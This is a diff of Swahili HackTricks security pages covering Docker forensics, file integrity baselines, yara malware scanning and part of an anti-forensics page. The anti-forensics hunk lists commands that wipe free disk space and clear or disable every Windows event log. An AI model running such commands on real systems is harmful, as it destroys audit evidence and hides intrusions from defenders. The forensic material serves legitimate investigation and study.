3. Chagua Lemaza kutoka kwenye menyu ya kunjuzi ya "Aina ya Kuanza", kisha thibitisha mabadiliko kwa kubofya Tumia na Sawa.
|
||||
|
||||
Pia niwezekana kurekebisha usanidi wa ni faili zipi zitakazokuwa zimekopwa katika nakala ya kivuli kwenye usajili `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
Pia niwezekanavyo kurekebisha usanidi wa ni faili zipi zitakazokuwa zimekopwa katika nakala ya kivuli kwenye usajili `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Futa faili zilizofutwa
|
||||
## Futa Faili Zilizofutwa
|
||||
|
||||
* Unaweza kutumia **Zana ya Windows**: `cipher /w:C` Hii itaagiza cipher kuondoa data yoyote kutoka nafasi ya diski isiyotumiwa inapatikana ndani ya diski ya C.
|
||||
* Unaweza kutumia **Zana ya Windows**: `cipher /w:C` Hii itaagiza cipher kuondoa data yoyote kutoka kwenye nafasi ya diski isiyotumiwa inapatikana ndani ya diski ya C.
|
||||
* Unaweza pia kutumia zana kama [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
## Futa magogo ya matukio ya Windows
|
||||
## Futa Kumbukumbu za Matukio ya Windows
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Panua "Vichapisho vya Windows" --> Bofya kulia kwa kila jamii na chagua "Futa Logi"
|
||||
* Windows + R --> eventvwr.msc --> Panua "Vichwa vya Windows" --> Bofya kulia kwa kila jamii na chagua "Futa Kumbukumbu"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Lemaza magogo ya matukio ya Windows
|
||||
## Lemaza Kumbukumbu za Matukio ya Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* Ndani ya sehemu ya huduma, lemesha huduma "Logi ya Matukio ya Windows"
|
||||
* Ndani ya sehemu ya huduma, lemesha huduma "Kumbukumbu ya Matukio ya Windows"
|
||||
* `WEvtUtil.exec clear-log` au `WEvtUtil.exe cl`
|
||||
|
||||
## Lemaza $UsnJrnl
|
||||
|
|
|
|||
|
|
@ -1,28 +1,29 @@
|
|||
# Uchunguzi wa Docker
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kubadilisha Kontena
|
||||
|
||||
Kuna tuhuma kwamba kontena fulani la docker limeingiliwa:
|
||||
Kuna mashaka kwamba kontena fulani la docker lilidukuliwa:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||
```
|
||||
Unaweza **kupata mabadiliko yaliyofanywa kwenye kontena hiki kuhusiana na picha** kwa urahisi kwa kutumia:
|
||||
Unaweza **kwa urahisi **kupata marekebisho yaliyofanywa kwenye kontena hili kuhusiana na picha** na:
|
||||
```bash
|
||||
docker diff wordpress
|
||||
C /var
|
||||
|
|
@ -36,52 +37,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
|||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
Katika amri iliyotangulia **C** inamaanisha **Kimebadilika** na **A,** **Kimeongezwa**.\
|
||||
Ikiwa utagundua kuwa faili fulani ya kuvutia kama vile `/etc/shadow` imebadilishwa, unaweza kuipakua kutoka kwenye kontena ili uchunguze shughuli za uovu kwa:
|
||||
Katika amri iliyotangulia **C** inamaanisha **Kilichobadilika** na **A,** **Ongeza**.\
|
||||
Ikiwa utagundua kwamba faili fulani ya kuvutia kama vile `/etc/shadow` ilibadilishwa unaweza kuipakua kutoka kwenye kontena ili uchunguze shughuli za uovu kwa:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
```
|
||||
Unaweza pia **kulilinganisha na ile ya awali** kwa kukimbia kontena mpya na kuchukua faili kutoka kwake:
|
||||
Unaweza pia **kulilinganisha na asili yake** kwa kukimbia kontena mpya na kuchambua faili kutoka humo:
|
||||
```bash
|
||||
docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
Ikiwa utagundua kuwa **faili fulani ya shaka imeongezwa**, unaweza kufikia chombo na kuichunguza:
|
||||
Ikiwa unagundua kwamba **faili fulani ya shaka imeongezwa** unaweza kufikia chombo na kuichunguza:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
## Kubadilisha Picha
|
||||
|
||||
Unapopewa picha ya docker iliyohamishiwa (labda katika muundo wa `.tar`), unaweza kutumia [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) ili **kutoa muhtasari wa mabadiliko**:
|
||||
Unapopewa picha ya docker iliyohamishiwa (labda katika muundo wa `.tar`) unaweza kutumia [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) **kuchambua muhtasari wa mabadiliko**:
|
||||
```bash
|
||||
docker save <image> > image.tar #Export the image to a .tar file
|
||||
container-diff analyze -t sizelayer image.tar
|
||||
container-diff analyze -t history image.tar
|
||||
container-diff analyze -t metadata image.tar
|
||||
```
|
||||
Kisha, unaweza **kufungua** picha na **kupata blobs** ili kutafuta faili za shaka ambazo unaweza kuzipata katika historia ya mabadiliko:
|
||||
Kisha, unaweza **kudekompresi** picha na **kufikia blobs** kutafuta faili za shaka ambazo unaweza kuzipata katika historia ya mabadiliko:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
```
|
||||
### Uchambuzi Msingi
|
||||
### Uchambuzi wa Msingi
|
||||
|
||||
Unaweza kupata **habari msingi** kutoka kwa picha inayotumika:
|
||||
Unaweza kupata **taarifa za msingi** kutoka kwa picha inayoendeshwa:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
Unaweza pia kupata muhtasari wa **historia ya mabadiliko** kwa kutumia:
|
||||
Unaweza pia kupata muhtasari wa **historia ya mabadiliko** kwa:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
Unaweza pia kuzalisha **dockerfile kutoka kwa picha** kwa kutumia:
|
||||
Unaweza pia kuzalisha **dockerfile kutoka kwa picha** kwa:
|
||||
```bash
|
||||
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Chukua
|
||||
### Zama ndani
|
||||
|
||||
Ili kupata faili zilizoongezwa/kubadilishwa kwenye picha za docker unaweza pia kutumia chombo cha [**chukua**](https://github.com/wagoodman/dive) (pakua kutoka [**toleo**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) cha matumizi:
|
||||
Ili kupata faili zilizoongezwa/kubadilishwa kwenye picha za docker unaweza pia kutumia [**dive**](https://github.com/wagoodman/dive) (ipakue kutoka [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) kama chombo:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
|
|
@ -90,30 +91,16 @@ Loaded image: flask:latest
|
|||
#And then open it with dive:
|
||||
sudo dive flask:latest
|
||||
```
|
||||
Hii inakuwezesha **kuvinjari kupitia blobs tofauti za picha za docker** na kuangalia ni faili zipi zilizobadilishwa/kuongezwa. **Nyekundu** inamaanisha kuongezwa na **njano** inamaanisha kubadilishwa. Tumia **tab** kuhamia kwenye mtazamo mwingine na **nafasi** kufunga/fungua folda.
|
||||
Hii inakuruhusu **kupitia blobs tofauti za picha za docker** na kuangalia ni faili zipi zilizobadilishwa/kuongezwa. **Nyekundu** inamaanisha imeongezwa na **manjano** inamaanisha imebadilishwa. Tumia **tab** kuhamia maoni mengine na **nafasi** kufunga/kufungua folda.
|
||||
|
||||
Kwa die hautaweza kupata maudhui ya hatua tofauti za picha. Ili kufanya hivyo, utahitaji **kupunguza kila safu na kufikia**.\
|
||||
Unaweza kupunguza safu zote kutoka kwenye picha kutoka kwenye saraka ambapo picha ilipunguzwa kwa kutekeleza:
|
||||
Kwa die hutaweza kupata maudhui ya hatua tofauti za picha. Ili kufanya hivyo, utahitaji **kudecompress kila safu na kufikia**.\
|
||||
Unaweza kudecompress safu zote kutoka kwa picha kutoka kwenye saraka ambapo picha ilikuwa imekudecompress kwa kutekeleza:
|
||||
```bash
|
||||
tar -xf image.tar
|
||||
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||
```
|
||||
## Vitambulisho kutoka kwenye kumbukumbu
|
||||
## Vitambulisho kutoka kumbukumbu
|
||||
|
||||
Tafadhali kumbuka kuwa unapofanya kazi na chombo cha docker ndani ya mwenyeji **unaweza kuona michakato inayofanya kazi kwenye chombo kutoka kwenye mwenyeji** kwa kutekeleza tu `ps -ef`
|
||||
Tafadhali kumbuka kwamba unapotekeleza chombo cha docker ndani ya mwenyeji **unaweza kuona michakato inayoendeshwa kwenye chombo kutoka kwa mwenyeji** kwa kutekeleza tu `ps -ef`
|
||||
|
||||
Kwa hivyo (kama mtumiaji mkuu) unaweza **kuchota kumbukumbu ya michakato** kutoka kwenye mwenyeji na kutafuta **vitambulisho** kama [**inavyoonyeshwa katika mfano ufuatao**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
Hivyo (kama mtumiaji wa mizizi) unaweza **kudondosha kumbukumbu ya michakato** kutoka kwa mwenyeji na kutafuta **vitambulisho** kama [**ilivyo kwenye mfano ufuatao**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
|
|
|
|||
|
|
@ -1,33 +1,34 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Msingi
|
||||
# Kiwango cha Msingi
|
||||
|
||||
Msingi unajumuisha kuchukua picha ya sehemu fulani ya mfumo ili **kuilinganisha na hali ya baadaye ili kubainisha mabadiliko**.
|
||||
Kiwango cha msingi kinajumuisha kuchukua picha ya sehemu fulani ya mfumo ili **kulinganisha na hali ya baadaye ili kubaini mabadiliko**.
|
||||
|
||||
Kwa mfano, unaweza kuhesabu na kuhifadhi hash ya kila faili kwenye mfumo wa faili ili kuweza kugundua ni faili zipi zilizobadilishwa.\
|
||||
Hii pia inaweza kufanywa na akaunti za watumiaji zilizoundwa, michakato inayofanya kazi, huduma zinazoendesha, na chochote kingine ambacho haipaswi kubadilika sana, au kabisa.
|
||||
Kwa mfano, unaweza kuhesabu na kuhifadhi hash ya kila faili kwenye mfumo wa faili ili uweze kugundua ni faili zipi zilizobadilishwa.\
|
||||
Hii pia inaweza kufanywa na akaunti za watumiaji zilizoundwa, michakato inayoendeshwa, huduma zinazoendeshwa na chochote kingine ambacho hakitakiwi kubadilika sana, au kabisa.
|
||||
|
||||
## Ufuatiliaji wa Uadilifu wa Faili
|
||||
|
||||
Ufuatiliaji wa Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama ambayo inalinda mazingira ya IT na data kwa kufuatilia mabadiliko katika faili. Inajumuisha hatua mbili muhimu:
|
||||
Ufuatiliaji wa Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama inayolinda mazingira ya IT na data kwa kufuatilia mabadiliko katika faili. Inajumuisha hatua mbili muhimu:
|
||||
|
||||
1. **Ulinganishaji wa Msingi:** Weka msingi kwa kutumia sifa za faili au checksums za kriptografia (kama MD5 au SHA-2) kwa ajili ya linganisho la baadaye ili kugundua mabadiliko.
|
||||
2. **Arifa za Mabadiliko ya Wakati Halisi:** Pata arifa za papo hapo wakati faili zinapofikiwa au kubadilishwa, kawaida kupitia nyongeza za kernel ya OS.
|
||||
1. **Ulinganisho wa Kiwango cha Msingi:** Weka kiwango cha msingi kwa kutumia sifa za faili au checksums za kryptografiki (kama MD5 au SHA-2) kwa kulinganisha baadaye ili kugundua mabadiliko.
|
||||
2. **Arifa za Mabadiliko Halisi:** Pata arifa za papo hapo wakati faili zinapofikiwa au kuhaririwa, kawaida kupitia nyongeza za msingi wa OS.
|
||||
|
||||
## Zana
|
||||
## Vyombo
|
||||
|
||||
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||
|
|
@ -37,16 +38,17 @@ Ufuatiliaji wa Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama ambayo inalind
|
|||
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,20 +1,21 @@
|
|||
# Uchambuzi wa Programu Hasidi
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Viongozi vya Uchunguzi
|
||||
## Vicharazio vya Uchunguzi
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
|
|
@ -26,7 +27,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [Intezer](https://analyze.intezer.com)
|
||||
* [Any.Run](https://any.run/)
|
||||
|
||||
## Zana za Kupambana na Virus na Ugunduzi Nje ya Mtandao
|
||||
## Zana za Kugundua na Kupambana na Programu za Kupambana na Virus Bila Mtandao
|
||||
|
||||
### Yara
|
||||
|
||||
|
|
@ -34,59 +35,23 @@ Njia nyingine za kusaidia HackTricks:
|
|||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Andaa sheria
|
||||
#### Jipange sheria
|
||||
|
||||
Tumia skripti hii kupakua na kuunganisha sheria zote za yara za programu hasidi kutoka kwenye github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Tengeneza saraka ya _**sheria**_ na itekeleze. Hii itaunda faili inayoitwa _**malware\_rules.yar**_ ambayo ina sheria zote za yara kwa ajili ya programu hasidi.
|
||||
Tumia script hii kupakua na kuchanganya sheria zote za yara za zisizo kutoka kwa github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Unda directory ya _**sheria**_ na kuitekeleza. Hii itaunda faili iliyoitwa _**malware\_rules.yar**_ ambayo ina sheria zote za yara kwa ajili ya zisizo.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Kagua
|
||||
|
||||
Malware analysis begins with scanning the suspicious file or system for any signs of malicious activity. This involves using antivirus software, network monitoring tools, and other scanning techniques to identify any indicators of compromise (IOCs) or suspicious behavior. The goal is to detect and isolate any potential malware present in the system.
|
||||
|
||||
##### Antivirus Scanning
|
||||
|
||||
Antivirus scanning is a common method used to detect and remove malware. It involves using antivirus software to scan files, directories, and the entire system for known malware signatures. The antivirus software compares the scanned files against a database of known malware signatures and alerts the user if any matches are found.
|
||||
|
||||
##### Network Monitoring
|
||||
|
||||
Network monitoring tools can be used to analyze network traffic and identify any suspicious or malicious activity. These tools monitor network packets and analyze their content to detect any signs of malware communication or unauthorized access attempts. Network monitoring can help identify malware that may be attempting to communicate with command and control (C2) servers or exfiltrate data from the system.
|
||||
|
||||
##### File Analysis
|
||||
|
||||
File analysis involves examining the suspicious file in detail to identify any malicious behavior or hidden functionality. This can be done using various tools and techniques, such as static analysis and dynamic analysis.
|
||||
|
||||
- Static Analysis: Static analysis involves examining the file without executing it. This can include analyzing the file's metadata, examining its structure, and looking for any suspicious or obfuscated code. Static analysis can help identify known malware patterns or indicators of malicious behavior.
|
||||
|
||||
- Dynamic Analysis: Dynamic analysis involves executing the file in a controlled environment, such as a virtual machine or sandbox, to observe its behavior. This can include monitoring system calls, network activity, and file modifications. Dynamic analysis can help identify any malicious behavior that may not be evident during static analysis.
|
||||
|
||||
##### Memory Analysis
|
||||
|
||||
Memory analysis involves examining the system's memory for any signs of malicious activity. This can include analyzing running processes, loaded modules, and network connections. Memory analysis can help identify malware that may be running in memory or any malicious code injected into legitimate processes.
|
||||
|
||||
##### Registry Analysis
|
||||
|
||||
Registry analysis involves examining the system's registry for any signs of malicious activity. The registry is a database that stores configuration settings and other information about the system and its applications. Malware often modifies the registry to achieve persistence or to execute at system startup. Registry analysis can help identify any suspicious or malicious registry entries.
|
||||
|
||||
##### Log Analysis
|
||||
|
||||
Log analysis involves examining system logs, such as event logs and application logs, for any signs of malicious activity. Logs can contain valuable information about system events, user activity, and network connections. Analyzing logs can help identify any abnormal or suspicious behavior that may indicate the presence of malware.
|
||||
|
||||
##### Behavioral Analysis
|
||||
|
||||
Behavioral analysis involves observing the behavior of the suspicious file or system to identify any malicious activity. This can include monitoring system processes, network connections, file modifications, and other system events. Behavioral analysis can help identify any abnormal or malicious behavior that may not be detected through other analysis techniques.
|
||||
|
||||
By performing a thorough scan using these techniques, analysts can gather valuable information about the suspicious file or system and identify any potential malware present. This information can then be used for further analysis and investigation.
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Angalia kwa zisizo na programu hasidi na Unda sheria
|
||||
#### YaraGen: Angalia kwa zisomaji wa programu hasidi na Unda sheria
|
||||
|
||||
